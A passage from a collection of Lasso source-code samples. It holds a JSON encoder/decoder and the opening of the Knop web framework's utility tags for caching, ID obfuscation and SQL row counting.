@#ibytes));\n\t\t\t\tElse;\n\t\t\t\t\t#output->(insert: (consume_token: @#ibytes, @#temp));\n\t\t\t\t\t(#temp == 93) ? Loop_Abort;\n\t\t\t\t/If;\n\t\t\t/While;\n\t\t\tReturn: @#output;\n\t\t/Define_Tag;\n\n\t\tDefine_Tag: 'consume_object', -Required='ibytes';\n\t\t\tLocal: 'output' = map;\n\t\t\tlocal: 'delimit' = (array:  9, 10, 13, 32, 44); // \\t\\r\\n ,\n\t\t\tlocal: 'temp' = 0;\n\t\t\tlocal: 'key' = null;\n\t\t\tlocal: 'val' = null;\n\t\t\tWhile: ((#temp := #ibytes->export8bits) != 125); // }\n\t\t\t\tIf: (#delimit >> #temp);\n\t\t\t\t\t// Discard whitespace \n\t\t\t\tElse: (#key !== null) && (#temp == 34); // \"\n\t\t\t\t\t#output->(insert: #key = (consume_string: @#ibytes));\n\t\t\t\t\t#key = null;\n\t\t\t\tElse: (#key !== null) && (#temp == 91); // [\n\t\t\t\t\t#output->(insert: #key = (consume_array: @#ibytes));\n\t\t\t\t\t#key = null;\n\t\t\t\tElse: (#key !== null) && (#temp == 123); // {\n\t\t\t\t\t#output->(insert: #key = (consume_object: @#ibytes));\n\t\t\t\t\t#key = null;\n\t\t\t\tElse: (#key !== null);\n\t\t\t\t\t#output->(insert: #key = (consume_token: @#ibytes, @#temp));\n\t\t\t\t\t(#temp == 125) ? Loop_abort;\n\t\t\t\t\t#key = null;\n\t\t\t\tElse;\n\t\t\t\t\t#key = (consume_string: @#ibytes);\n \t\t\t\t    while(#delimit >> (#temp := #ibytes->export8bits));\n\t\t\t\t\t/while;\n  \t\t\t\t\t#temp != 58 ? Loop_Abort;\n\t\t\t\t/If;\n\t\t\t/While;\n\t\t\tIf: (#output >> '__jsonclass__') && (#output->(Find: '__jsonclass__')->(isa: 'array')) && (#output->(Find: '__jsonclass__')->size >= 2) && (#output->(Find: '__jsonclass__')->First == 'deserialize');\n\t\t\t\tReturn: #output->(find: '__jsonclass__')->Second->First;\n\t\t\tElse: (#output >> 'native') && (#output >> 'comment') && (#output->(find: 'comment') == 'http://www.lassosoft.com/json');\n\t\t\t\tReturn: #output->(find: 'native');\n\t\t\t/If;\n\t\t\tReturn: @#output;\n\t\t/Define_Tag;\n\t\t\n\t\tLocal: 'ibytes' = (bytes: #value);\n\t\tLocal: 'start' = 1;\n \t  \t#ibytes->removeLeading(BOM_UTF8);\n\t\tLocal: 'temp' = #ibytes->export8bits;\n\t\tIf: (#temp == 91); // [\n\t\t\tLocal: 'output' = (consume_array: @#ibytes);\n\t\t\tReturn: @#output;\n\t\tElse: (#temp == 123); // {\n\t\t\tLocal: 'output' = (consume_object: @#ibytes);\n\t\t\tReturn: @#output;\n\t\t/If;\n\t\t\n\t/Define_Tag;\n\n/If;\n\t\nIf: (Lasso_TagExists: 'Literal') == False;\n\n\tDefine_Type: 'Literal', 'String';\n\t/Define_Type;\n\n/If;\n\t\nIf: (Lasso_TagExists: 'Object') == False;\n\t\n\tDefine_Type: 'Object', 'Map';\n\t/Define_Type;\n\t\n/If;\n\nIf: (Lasso_TagExists: 'JSON_RPCCall') == False;\n\t\n\tDefine_Tag: 'RPCCall', -Namespace='JSON_',\n\t\t\t-Required='method',\n\t\t\t-Optional='params',\n\t\t\t-Optional='id',\n\t\t\t-Optional='host';\n\n\t\t!(Local_Defined: 'host') ? Local: 'host' = 'http://localhost/lassoapps.8/rpc/rpc.lasso';\n\t\t!(Local_Defined: 'id') ? Local: 'id' = Lasso_UniqueID;\n\t\tLocal: 'request' = (Map: 'method' = #method, 'params' = #params, 'id' = #id);\n\t\tLocal: 'request' = (Encode_JSON: #request);\n\t\tLocal: 'result' = (Include_URL: #host, -PostParams=#request);\n\t\tLocal: 'result' = (Decode_JSON: #result);\n\t\tReturn: @#result;\n\n\t/Define_Tag;\n\t\n/If;\n\nIf: (Lasso_TagExists: 'JSON_Records') == False;\n\n\tDefine_Tag: 'JSON_Records',\n\t\t\t-Optional='KeyField',\n\t\t\t-Optional='ReturnField',\n\t\t\t-Optional='ExcludeField',\n\t\t\t-Optional='Fields';\n\n\t\tLocal: '_fields' = (Local_Defined: 'fields') && #fields->(IsA: 'array') ? #fields | Field_Names;\n\t\tFail_If: #_fields->size == 0, -1, 'No fields found for [JSON_Records]';\n\t\tLocal: '_keyfield' = (Local: 'keyfield');\n\t\tIf: #_fields !>> #_keyfield;\n\t\t\tLocal: '_keyfield' = (KeyField_Name);\n\t\t\tIf: #_fields !>> #_keyfield;\n\t\t\t\tLocal: '_keyfield' = 'ID';\n\t\t\t\tIf: #_fields !>> #_keyfield;\n\t\t\t\t\tLocal: '_keyfield' = #_fields->First;\n\t\t\t\t/If;\n\t\t\t/If;\n\t\t/If;\n\t\tLocal: '_index' = #_fields->(FindPosition: #_keyfield)->First;\n\t\tLocal: '_return' = (Local_Defined: 'returnfield') ? (Params->(Find: -ReturnField)->(ForEach: {Params->First = Params->First->Second; Return: True}) &) | @#_fields;\n\t\tLocal: '_exclude' = (Local_Defined: 'excludefield') ? (Params->(Find: -ExcludeField)->(ForEach: {Params->First = Params->First->Second; Return: True}) &) | Array;\n\t\tLocal: '_records' =  Array;\n\t\tIterate: Records_Array, (Local: '_record');\n\t\t\tLocal: '_temp' = Map;\n\t\t\tIterate: #_fields, (Local: '_field');\n\t\t\t\t((#_return >> #_field) && (#_exclude !>> #_field)) ? #_temp->Insert(#_field = #_record->(Get: Loop_Count));\n\t\t\t/Iterate;\n\t\t\t#_records->Insert(#_temp);\n\t\t/Iterate;\n\t\tLocal: '_output' = (Encode_JSON: (Object: 'error_msg'=Error_Msg, 'error_code'=Error_Code, 'found_count'=Found_Count, 'keyfield'=#_keyfield, 'rows'=#_records));\n\t\tReturn: @#_output;\n\n\t/Define_Tag;\n\n/If;\n\n?>\n"
  },
  {
    "path": "samples/Lasso/json.lasso9",
    "content": "\n/**\n\ttrait_json_serialize\n\tObjects with this trait will be assumed to convert to json data\n\twhen its ->asString method is called\n*/\ndefine trait_json_serialize => trait {\n\trequire asString()\n}\n\ndefine json_serialize(e::bytes)::string => ('\"' + (string(#e)->Replace(`\\`, `\\\\`) & Replace('\\\"', '\\\\\"') & Replace('\\r', '\\\\r') & Replace('\\n', '\\\\n') & Replace('\\t', '\\\\t') & Replace('\\f', '\\\\f') & Replace('\\b', '\\\\b') &) + '\"')\ndefine json_serialize(e::string)::string => ('\"' + (string(#e)->Replace(`\\`, `\\\\`) & Replace('\\\"', '\\\\\"') & Replace('\\r', '\\\\r') & Replace('\\n', '\\\\n') & Replace('\\t', '\\\\t') & Replace('\\f', '\\\\f') & Replace('\\b', '\\\\b') &) + '\"')\ndefine json_serialize(e::json_literal)::string => (#e->asstring)\ndefine json_serialize(e::integer)::string => (#e->asstring)\ndefine json_serialize(e::decimal)::string => (#e->asstring)\ndefine json_serialize(e::boolean)::string => (#e->asstring)\ndefine json_serialize(e::null)::string => ('null')\ndefine json_serialize(e::date)::string => ('\"' + #e->format(#e->gmt ? '%QT%TZ' | '%Q%T') + '\"')\n/*\ndefine json_serialize(e::array)::string => {\n\tlocal(output) = '';\n\tlocal(delimit) = '';\n\t#e->foreach => { #output += #delimit + json_serialize(#1); #delimit = ', '; }\n\treturn('[' + #output + ']');\n}\ndefine json_serialize(e::staticarray)::string => {\n\tlocal(output) = '';\n\tlocal(delimit) = '';\n\t#e->foreach => { #output += #delimit + json_serialize(#1); #delimit = ', '; }\n\treturn('[' + #output + ']');\n}\n*/\ndefine json_serialize(e::trait_forEach)::string => {\n\tlocal(output) = '';\n\tlocal(delimit) = '';\n\t#e->foreach => { #output += #delimit + json_serialize(#1); #delimit = ', '; }\n\treturn('[' + #output + ']');\n}\ndefine json_serialize(e::map)::string => {\n\tlocal(output = with pr in #e->eachPair \n\t\t\t\t\tselect json_serialize(#pr->first->asString) + ': ' + json_serialize(#pr->second))\n\treturn '{' + #output->join(',') + '}'\n}\ndefine json_serialize(e::json_object)::string => {\n\tlocal(output) = '';\n\tlocal(delimit) = '';\n\t#e->foreachpair => { #output += #delimit + #1->first + ': ' + json_serialize(#1->second); #delimit = ', '; }\n\treturn('{' + #output + '}');\n}\ndefine json_serialize(e::trait_json_serialize) => #e->asString\ndefine json_serialize(e::any)::string => json_serialize('<LassoNativeType>' + #e->serialize + '</LassoNativeType>')\n\n// Bil Corry fixes for decoding json\ndefine json_consume_string(ibytes::bytes) => {\n\tlocal(obytes) = bytes;\n\tlocal(temp) = 0;\n\twhile((#temp := #ibytes->export8bits) != 34);\n\t\t#obytes->import8bits(#temp);\n\t\t(#temp == 92) ? #obytes->import8bits(#ibytes->export8bits); // Escape \\\n \t/while;\n\tlocal(output = string(#obytes)->unescape)\n\t//Replace('\\\\\"', '\\\"') & Replace('\\\\r', '\\r') & Replace('\\\\n', '\\n') & Replace('\\\\t', '\\t') & Replace('\\\\f', '\\f') & Replace('\\\\b', '\\b') &;\n\tif(#output->BeginsWith('<LassoNativeType>') && #output->EndsWith('</LassoNativeType>'));\n\t\tProtect;\n\t\t\treturn serialization_reader(xml(#output - '<LassoNativeType>' - '</LassoNativeType>'))->read\n\t\t/Protect;\n\telse( (#output->size == 16 or #output->size == 15) and regexp(`\\d{8}T\\d{6}Z?`, '', #output)->matches)\n\t\treturn date(#output, -Format=#output->size == 16?`yyyyMMdd'T'HHmmssZ`|`yyyyMMdd'T'HHmmss`)\n\t/if\n\treturn #output\n}\n\n// Bil Corry fix + Ke fix\ndefine json_consume_token(ibytes::bytes, temp::integer) => {\n\n\tlocal(obytes = bytes->import8bits(#temp) &,\n\t\tdelimit = array(9, 10, 13, 32, 44, 58, 93, 125)) // \\t\\r\\n ,:]}\n\n\twhile(#delimit !>> (#temp := #ibytes->export8bits))\n\t\t#obytes->import8bits(#temp)\n\t/while\n\n\t#temp == 125? // }\n\t\t#ibytes->marker -= 1\n//============================================================================\n//\tIs also end of token if end of array[]\n\t#temp == 93? // ]\n\t\t#ibytes->marker -= 1\n//............................................................................\t\t\n\n\tlocal(output = string(#obytes))\n\t#output == 'true'?\n\t\treturn true\n\t#output == 'false'?\n\t\treturn false\n\t#output == 'null'?\n\t\treturn null\n\tstring_IsNumeric(#output)?\n\treturn (#output >> '.')? decimal(#output) | integer(#output)\n\n\treturn #output\n}\n\n// Bil Corry fix\ndefine json_consume_array(ibytes::bytes)::array => {\n\tLocal(output) = array;\n\tlocal(delimit) = array( 9, 10, 13, 32, 44); // \\t\\r\\n ,\n\tlocal(temp) = 0;\n\tWhile((#temp := #ibytes->export8bits) != 93); // ]\n\t\tIf(#delimit >> #temp);\n\t\t\t// Discard whitespace\n\t\tElse(#temp == 34); // \"\n\t\t\t#output->insert(json_consume_string(#ibytes));\n\t\tElse(#temp == 91); // [\n\t\t\t#output->insert(json_consume_array(#ibytes));\n\t\tElse(#temp == 123); // {\n\t\t\t#output->insert(json_consume_object(#ibytes));\n\t\tElse;\n\t\t\t#output->insert(json_consume_token(#ibytes, #temp));\n\t\t\t(#temp == 93) ? Loop_Abort;\n\t\t/If;\n\t/While;\n\tReturn(#output);\n}\n\n// Bil Corry fix\ndefine json_consume_object(ibytes::bytes)::map => {\n\tLocal('output' = map,\n\t\t'delimit' = array( 9, 10, 13, 32, 44), // \\t\\r\\n ,\n\t\t'temp' = 0,\n\t\t'key' = null,\n\t\t'val' = null);\n\tWhile((#temp := #ibytes->export8bits) != 125); // }\n\t\tIf(#delimit >> #temp);\n\t\t\t// Discard whitespace\n\t\tElse((#key !== null) && (#temp == 34)); // \"\n\t\t\t#output->insert(#key = json_consume_string(#ibytes));\n\t\t\t#key = null;\n\t\tElse((#key !== null) && (#temp == 91)); // [\n\t\t\t#output->insert(#key = json_consume_array(#ibytes));\n\t\t\t#key = null;\n\t\tElse((#key !== null) && (#temp == 123)); // {\n\t\t\t#output->insert(#key = json_consume_object(#ibytes));\n\t\t\t#key = null;\n\t\tElse((#key !== null));\n\t\t\t#output->insert(#key = json_consume_token(#ibytes, #temp));\n\t\t\t#key = null;\n\t\tElse;\n\t\t\t#key = json_consume_string(#ibytes);\n\t\t\twhile(#delimit >> (#temp := #ibytes->export8bits));\n\t\t\t/while;\n\t\t\t#temp != 58 ? Loop_Abort;\n\t\t/If;\n\t/While;\n\n\tIf((#output >> '__jsonclass__') && (#output->Find('__jsonclass__')->isa('array')) && (#output->Find('__jsonclass__')->size >= 2) && (#output->Find('__jsonclass__')->First == 'deserialize'));\n\t\tReturn(#output->find('__jsonclass__')->Second->First);\n\tElse((#output >> 'native') && (#output >> 'comment') && (#output->find('comment') == 'http://www.lassosoft.com/json'));\n\t\tReturn(#output->find('native'));\n\t/If;\n\tReturn(#output);\n}\n\n// Bil Corry fix + Ke fix\ndefine json_deserialize(ibytes::bytes)::any => {\n\t#ibytes->removeLeading(bom_utf8);\n\n//============================================================================\n//\tReset marker on provided bytes\n\t#ibytes->marker = 0\n//............................................................................\t\t\n\t\n\tLocal(temp) = #ibytes->export8bits;\n\tIf(#temp == 91); // [\n\t\tReturn(json_consume_array(#ibytes));\n\tElse(#temp == 123); // {\n\t\tReturn(json_consume_object(#ibytes));\n\telse(#temp == 34) // \"\n\t\treturn json_consume_string(#ibytes)\n\t/If;\n}\n\ndefine json_deserialize(s::string) => json_deserialize(bytes(#s))\n\n/**! json_literal - This is a subclass of String used for JSON encoding.\n\n\tA json_literal works exactly like a string, but will be inserted directly\n\trather than being encoded into JSON. This allows JavaScript elements\n\tlike functions to be inserted into JSON objects. This is most useful\n\twhen the JSON object will be used within a JavaScript on the local page.\n\t[Map: 'fn'=Literal('function(){ ...})] => {'fn': function(){ ...}}\n**/\ndefine json_literal => type {\n\tparent string\n}\n\n/**! json_object - This is a subclass of Map used for JSON encoding.\n\n\tAn object works exactly like a map, but when it is encoded into JSON all\n\tof the keys will be inserted literally. This makes it easy to create a\n\tJavaScript object without extraneous quote marks.\n\tObject('name'='value') => {name: \"value\"}\n**/\ndefine json_object => type {\n\tparent map\n\tpublic onCreate(...) => ..onCreate(:#rest or (:))\n}\n\ndefine json_rpccall(method::string, params=map, id='', host='') => {\n\t#id == '' ? #host = Lasso_UniqueID;\n\t#host == '' ? #host = 'http://localhost/lassoapps.8/rpc/rpc.lasso';\n\tReturn(Decode_JSON(Include_URL(#host, -PostParams=Encode_JSON(Map('method' = #method, 'params' = #params, 'id' = #id)))));\n}\n"
  },
  {
    "path": "samples/Lasso/knop.las",
    "content": "﻿[/* \n\n\tOn-Demand library for namespace knop\n\tNamespace file built date 2012-06-10 02:05:30 by http://knop8/buildnamespace.lasso\n\tMontania System AB\n\n*/]\n\n[\n//------------------------------------------------------------------\n//    Begin knop custom tags in util.inc\n//------------------------------------------------------------------\n\n]<?LassoScript\n\n/*\n\n2009-09-04\tJS\tAdded content_body tag for compatibility with pre 8.5\n2009-05-07\tJS\tAdded timestamp to knop_cachestore and -maxage parameter to knop_cachefetch\n2009-05-07\tJS\tCorrected construction of cache_name internally in the knop_cache tags so it will work correctly at the site root\n2008-11-04\tJS\tAdded dummy knop_debug ctype to be able to work transparently with or without L-Debug\n2008-09-24\tJS\tAdded knop_stripbackticks\n2008-01-28\tJS\tCache tags: -name is now used also when using session storage\n2007-12-12\tJS\tAdded knop_cachedelete\n2007-12-11\tJS\tCreated knop_cachestore and knop_cachefetch\n2007-12-03\tJS\tCorrected knop_foundrows condition for returning normal found_count\n\n*/\n\n// For compatibility with pre Lasso 8.5 \nif(!lasso_tagexists('content_body'));\n\tdefine_tag('content_body', -namespace='_global_');\n\t\treturn(@$__html_reply__);\n\t/define_tag;\n/if;\n\nif(!lasso_tagexists('knop_debug'));\n\tdefine_type('debug',\n\t\t-namespace='knop_');\n\t\tdefine_tag('_unknowntag');/define_tag;\n\t\tdefine_tag('onconvert');/define_tag;\n\t/define_type;\n/if;\n\ndefine_tag('stripbackticks', -description='Remove backticks (`) from a string to make it safe for MySQL object names',\n\t-namespace='knop_',\n\t-priority='replace',\n\t-required='input');\n\tlocal('output'=string(#input));\n\t#output = #output -> split('`') -> first;\n\treturn(@#output);\n/define_tag;\n\ndefine_tag: 'unique', -description='Returns a very unique but still rather short random string',\n\t-namespace='knop_',\n\t-priority='replace';\n\n\t// Johan Sölve 2006-09-20 \n\t\n\tlocal: 'output'=string,\n\t\t'seed'=integer,\n\t\t'charlist'='abcdefghijklmnopqrstuvwxyz0123456789';\n\tlocal: 'base'=(#charlist -> size);\n\t// start with the current date and time in a mixed up format as seed\n\t#seed = integer: (date -> (format: '%S%y%m%d%H%M'));\n\t// convert this integer to a string using base conversion\n\twhile: #seed>0;\n\t\t#output = #charlist -> (get: (#seed % #base)+1) + #output;\n\t\t#seed = #seed / #base;\n\t/while;\n\t// start over with a new chunk as seed\n\t#seed = string: 1000+(date->millisecond);\n\t#seed = #seed + string: (math_random: -lower=1000, -upper=9999);\n\t#seed = integer: #seed;\n\t// convert this integer to a string using base conversion\n\twhile: #seed>0;\n\t\t#output = #charlist -> (get: (#seed % #base)+1) + #output;\n\t\t#seed = #seed / #base;\n\t/while;\n\treturn: #output;\n/define_tag;\n\n\ndefine_tag: 'seed', \n\t-namespace='knop_',\n\t-priority='replace';\n\t\n\tlocal: 'seed'= (string: $__lassoservice_ip__) + response_localpath;\n\t#seed -> removetrailing(response_filepath);\n\treturn:\t #seed;\n/define_tag;\n\ndefine_tag: 'foundrows', // http://tagswap.net/found_rows\n\t-namespace='knop_',\n\t-priority='replace';\n\tlocal: 'sql'= action_statement;\n\tif: (string_findregexp: #sql, -find= '\\\\sLIMIT\\\\s', -ignorecase) -> size == 0;\n\t\t// || found_count < maxrecords_value; (this condition is inaccurate)\n\t\t// found_count must be accurate\n\t\treturn: found_count;\n\t/if;\n\tif: (string_findregexp: #sql, -find= '\\\\s(GROUP\\\\s+BY|HAVING)\\\\s', -ignorecase) -> size == 0;\n\t\t// Default method, usually the fastest. Can not be used with GROUP BY for example. \n\t\t// First normalize whitespace around FROM in the expression\n\t\t#sql = (string_replaceregexp: #sql, -find= '\\\\sFROM\\\\s', -replace=' FROM ', -ignorecase, -ReplaceOnlyOne);\n\t\t#sql = 'SELECT COUNT(*) AS found_rows ' + #sql -> (substring: (#sql -> (find: ' FROM ')) + 1) ;\n\t\t#sql = (string_replaceregexp: #sql, -find='\\\\sLIMIT\\\\s+[0-9,]+', -replace='');\n\t\tif: (string_findregexp: #sql, -find= '\\\\sORDER\\\\s+BY\\\\s', -ignorecase) -> size;\n\t\t\t// remove ORDER BY statement since it causes problems with field aliases\n\t\t\t// first normalize the expression so we can find it with simple string expression later\n\t\t\t#sql = (string_replaceregexp: #sql, -find= '\\\\sORDER\\\\s+BY\\\\s', -replace=' ORDER BY ', -ignorecase);\n\t\t\t#sql = #sql -> (substring: 1, (#sql -> (find: ' ORDER BY ')) -1);\n\t\t/if;\n\telse; // query contains GROUP BY so use SQL_CALC_FOUND_ROWS which can be much slower, see http://bugs.mysql.com/bug.php?id=18454\n\t\t#sql -> (removeleading: 'SELECT');\n\t\t#sql = 'SELECT SQL_CALC_FOUND_ROWS ' + #sql + ';SELECT FOUND_ROWS() AS found_rows';\n\t\t#sql = (string_replaceregexp: #sql, -find='\\\\sLIMIT\\\\s+[0-9,]+', -replace=' LIMIT 1', -ignorecase);\n\t/if;\n\tinline: -sql=#sql;\n\t\tif: (field: 'found_rows') > 0;\n\t\t\treturn: integer: (field: 'found_rows'); // exit here normally\n\t\t/if;\n\t/inline;\n\t// fallback\n\treturn: found_count;\n/define_tag;\t\n\ndefine_tag:'IDcrypt', -description='Encrypts or Decrypts integer values',\n\t-namespace='knop_',\n\t-required='value',\n\t-optional='seed',\n\t-priority='replace';\n/*\n\n[IDcrypt]\nEncrypts or Decrypts integer values\n\nAuthor: Pier Kuipers\nLast Modified: Jan. 29, 2007\nLicense: Public Domain\n\nDescription:\nThis tag was written to deal with \"scraping\" attacks where bots keep \nrequesting the same page with incremental id parameters, corresponding to \nmysql id columns. Rather than introducing a new column with a unique id, this \ntag will \"intelligently\" blowfish encrypt or decrypt existing id values.\n\n\nSample Usage:\n[local('myID' = (action_param('id')))]\n[IDcrypt(#myID)]\n\n[IDcrypt('35446')] -> j4b50f315238d68df\n\n[IDcrypt('j4b50f315238d68df')] -> 35446\n\n\n\nDownloaded from tagSwap.net on Feb. 07, 2007.\nLatest version available from <http://tagSwap.net/IDcrypt>.\n\n*/\n// if id values need to be retrieved from bookmarked urls, the tag's built-in seed value must be used,\n// or the seed value used must be guaranteed to be the same as when the value was encrypted!\t\t\n\n\tlocal('cryptvalue' = string);\n\t!local_defined('seed') ? local('seed' = knop_seed);\n\tLocal('RandChars' = 'AaBbCcDdEeFfGgHhiJjKkLmNnoPpQqRrSsTtUuVvWwXxYyZz');\n\tLocal('anyChar' = (#RandChars -> (Get:(Math_Random: -Min=1, -Max=(#RandChars->Size)))));\n// taken from Bil Corry's [lp_string_getNumeric]\n\tlocal('numericValue' = (string_findregexp((string: #value), -find='\\\\d')->(join:'')));\n\t\n\tif(\n\t\t(#numericValue == (integer(#value))) \n\t\t&& \n\t\t(((string(#value))->length) == ((string(#numericValue)) -> length))\n\t);\n// alpha character is inserted at beginning of encrypted string in case value needs to be\n// cast to a javascript variable, which cannot start with a number\t\t\n\t\t#cryptvalue = (#anyChar + (Encrypt_Blowfish(#value, -seed=#seed)));\n\telse(\n\t\t((((string(#value))->length) - 1) % 2 == 0)\n\t\t&&\n\t\t(((string(#value))->length) > 16)\n\t);\n\t\t#cryptvalue = (decrypt_blowfish((String_Remove: #value, -StartPosition=1, -EndPosition=1),-Seed=#seed));\n\telse;\n\t\t#cryptvalue = 0;\n\t/if;\n\t\n\tif(String_IsAlphaNumeric(#cryptvalue));\n\t\treturn(#cryptvalue);\n\telse;\n// successfully decrypted values resulting in lots of strange characters are probably\n// the result of someone guessing a value\t\t\n\t\treturn(0);\n\t/if;\n\n/define_tag;\n\n\n\ndefine_type: 'timer', -description='Utility type to provide a simple timer',\n\t-namespace='knop_';\n\t/*\n\t\n\tCHANGE NOTES\n\t2007-06-17\tJS\tCreated the type\n\t\n\t*/\n\n\tlocal: 't'=integer;\n\tdefine_tag: 'oncreate';\n\t\t(self -> 't') = _date_msec;\n\t/define_tag;\n\tdefine_tag: 'onconvert';\n\t\treturn: _date_msec - (self -> 't');\n\t/define_tag;\n\t\n/define_type;\n\ndefine_tag: 'cachestore', -description='Stores all instances of page variables of the specified type in a cache object. Caches are stored \\\n\t\tin a global variable named by host name and document root to isolate the storage of different hosts. \\n\\\n\t\tParameters:\\n\\\n\t\t-type (required string) Page variables of the specified type will be stored in cache. Data types can be specified with or without namespace.\\n\\\n\t\t-expires (optional integer) The number of seconds that the cached data should be valid. Defaults to 600 (10 minutes)\\n\\\n\t\t-session (optional string) The name of an existing session to use for cache storage instead of the global storage\\n\\\n\t\t-name (optional string) Extra name parameter to be able to isolate the cache storage from other sites on the same virtual hosts, or caches for different uses. ',\n\t-namespace='knop_',\n\t-required='type', -type='string',\n\t-optional='expires', -type='integer', // seconds\n\t-optional='session', -type='string',\n\t-optional='name', -type='string';\n\n\tlocal: 'data'=map;\n\t!(local_defined: 'expires') ? local: 'expires'=600; // default seconds\n\t// store all page vars of the specified type\n\titerate: vars -> keys, local: 'item';\n\t\tif: (var: #item) -> isa(#type);\n\t\t\t#data -> insert(#item = (var: #item));\n\t\t/if;\n\t/iterate;\n\tif: (local_defined: 'session');\n\t\t//fail_if: (session_id: -name=#session) -> size == 0, -1, 'Cachestore with -session requires that the specified session is started';\n\t\tlocal: 'cache_name' = '_knop_cache_' + (local: 'name');\n\t\tsession_addvar: -name=#session, #cache_name;\n\t\t!((var: #cache_name) -> isa('map')) ? var: #cache_name = map;\n\t\t(var: #cache_name) -> insert(#type = (map: \n\t\t\t'content'=#data, \n\t\t\t'timestamp'=date, \n\t\t\t'expires'=(date + (duration: -second=#expires))));\n\telse;\n\t\tlocal: 'cache_name'='knop_' + (local: 'name') + '_' + server_name + response_localpath;\n\t\t#cache_name -> removetrailing(response_filepath);\n\t\t// initiate thread RW lock\n\t\t!(global: 'rwlock_' + #cache_name) -> isa('rwlock') ? global: 'rwlock_' + #cache_name=Thread_RWLock;\n\t\t// create a reference to the lock\n\t\tlocal: 'lock'=@(global: 'rwlock_' + #cache_name);\n\t\t// lock for writing\n\t\t#lock -> writelock;\n\t\t// check and initiate the cache storage\n\t\t!((global: #cache_name) -> isa('map')) ? global: #cache_name = map;\n\t\t(global: #cache_name) -> insert(#type = (map: \n\t\t\t'content'=#data, \n\t\t\t'timestamp'=date, \n\t\t\t'expires'=(date + (duration: -second=#expires))));\n\t\t// unlock\n\t\t#lock -> writeunlock;\n\t/if;\n/define_tag;\n\ndefine_tag: 'cachefetch', -description='Recreates page variables from previously cached instances of the specified type, returns true if successful or false if there was no valid \\\n\t\texisting cache for the specified type. Caches are stored in a global variable named by host name and document root to isolate the storage of different hosts. \\n\\\n\t\tParameters:\\n\\\n\t\t-type (required string) Page variables of the specified type will be stored in cache. \\n\\\n\t\t-session (optional string) The name of an existing session to use for cache storage instead of the global storage\\n\\\n\t\t-name (optional string) Extra name parameter to be able to isolate the cache storage from other sites on the same virtual hosts. \\n\\\n\t\t-maxage (optional date) Cache data older than the date/time specified in -maxage will not be used.',\n\t-namespace='knop_',\n\t-required='type', -type='string',\n\t-optional='session', -type='string',\n\t-optional='name', -type='string',\n\t-optional='maxage', -type='date';\n\t\n\t\n\tlocal: 'data'=null;\n\tif: (local_defined: 'session');\n\t\t//fail_if: (session_id: -name=#session) -> size == 0, -1, 'Cachefetch with -session requires that the specified session is started';\n\t\tlocal: 'cache_name' = '_knop_cache_' + (local: 'name');\n\t\tif: (var: #cache_name) -> isa('map') \n\t\t\t&& (var: #cache_name) >> #type \n\t\t\t&& (var: #cache_name) -> find(#type) -> find('expires') > date;\n\t\t\tif(local_defined('maxage') \n\t\t\t\t&& var(#cache_name) -> find(#type) -> find('timestamp') < #maxage);\n\t\t\t\t// cached data too old\n\t\t\telse;\n\t\t\t\t#data = (var: #cache_name) -> find(#type) -> find('content');\n\t\t\t/if;\n\t\t/if;\n\telse;\n\t\tlocal: 'cache_name'='knop_' + (local: 'name') + '_' + server_name + response_localpath;\n\t\t#cache_name -> removetrailing(response_filepath);\n\t\t// initiate thread RW lock\n\t\t!(global: 'rwlock_' + #cache_name) -> isa('rwlock') ? global: 'rwlock_' + #cache_name=Thread_RWLock;\n\t\t// create a reference to the lock\n\t\tlocal: 'lock'=@(global: 'rwlock_' + #cache_name);\n\t\t// lock for reading\n\t\t#lock -> readlock;\n\t\tif: (global: #cache_name) -> isa('map') \n\t\t\t&& (global: #cache_name) >> #type \n\t\t\t&& (global: #cache_name) -> find(#type) -> find('expires') > date;\n\t\t\tif(local_defined('maxage') \n\t\t\t\t&& global(#cache_name) -> find(#type) -> find('timestamp') < #maxage);\n\t\t\t\t// cached data too old\n\t\t\telse;\n\t\t\t\t#data = (global: #cache_name) -> find(#type) -> find('content');\n\t\t\t/if;\n\t\t/if;\n\t\t// unlock\n\t\t#lock -> readunlock;\n\t/if;\n\tif: #data -> isa('map');\n\t\titerate: #data, local: 'item';\n\t\t\tvar: (#item -> name) = #item -> value;\n\t\t/iterate;\n\t\treturn: true;\n\telse;\n\t\treturn: false;\n\t/if;\n/define_tag;\n\n\ndefine_tag: 'cachedelete', -description='Deletes the cache for the specified name (and optionally name). \\n\\\n\t\tParameters:\\n\\\n\t\t-type (required string) Page variables of the specified type will be stored in cache. \\n\\\n\t\t-session (optional string) The name of an existing session to use for cache storage instead of the global storage\\n\\\n\t\t-name (optional string) Extra name parameter to be able to isolate the cache storage from other sites on the same virtual hosts. ',\n\t-namespace='knop_',\n\t-required='type', -type='string',\n\t-optional='session', -type='string',\n\t-optional='name', -type='string'; // ignored for session\n\tif: (local_defined: 'session');\n\t\t//fail_if: (session_id: -name=#session) -> size == 0, -1, 'Cachestore with -session requires that the specified session is started';\n\t\tlocal: 'cache_name' = '_knop_cache_' + (local: 'name');\n\t\tsession_addvar: -name=#session, #cache_name;\n\t\t!((var: #cache_name) -> isa('map')) ? var: #cache_name = map;\n\t\t(var: #cache_name) -> remove(#type);\n\telse;\n\t\tlocal: 'cache_name'='knop_' + (local: 'name') + '_' + server_name + response_localpath;\n\t\t#cache_name -> removetrailing(response_filepath);\n\t\t// initiate thread RW lock\n\t\t!(global: 'rwlock_' + #cache_name) -> isa('rwlock') ? global: 'rwlock_' + #cache_name=Thread_RWLock;\n\t\t// create a reference to the lock\n\t\tlocal: 'lock'=@(global: 'rwlock_' + #cache_name);\n\t\t// lock for writing\n\t\t#lock -> writelock;\n\t\t// check and initiate the cache storage\n\t\t!((global: #cache_name) -> isa('map')) ? global: #cache_name = map;\n\t\t(global: #cache_name) -> remove(#type);\n\t\t// unlock\n\t\t#lock -> writeunlock;\n\t/if;\n\n/define_tag;\n\n\n?>\n[\n//------------------------------------------------------------------\n//    End knop custom tags in util.inc\n//------------------------------------------------------------------\n\n//##################################################################\n\n][\n//------------------------------------------------------------------\n//    Begin knop_base\n//------------------------------------------------------------------\n\n]<?LassoScript\n\ndefine_type('knoptype',\n\t-namespace='knop_');\n\tlocal('description'='All Knop custom types should have this type as parent type. This is to be able to identify all registered knop types. ');\n\tlocal('isknoptype'=true);\n/define_type;\n\ndefine_type: 'base',\n\t'knop_knoptype',\n\t-namespace='knop_';\n//\t-prototype;\n\n\tlocal: 'version'='2009-09-14',\n\t\t'description'='Base data type for Knop framework. Contains common member tags. Used as boilerplate when creating the other types. \\\n\t\t\t\t\t\tAll member tags and instance variables in this type are available in the other knop types as well. ';\n/*\n\n\nCHANGE NOTES\n2009-09-14\tJS\tSyntax adjustments for Lasso 9\n2009-09-04\tJS\tChanged 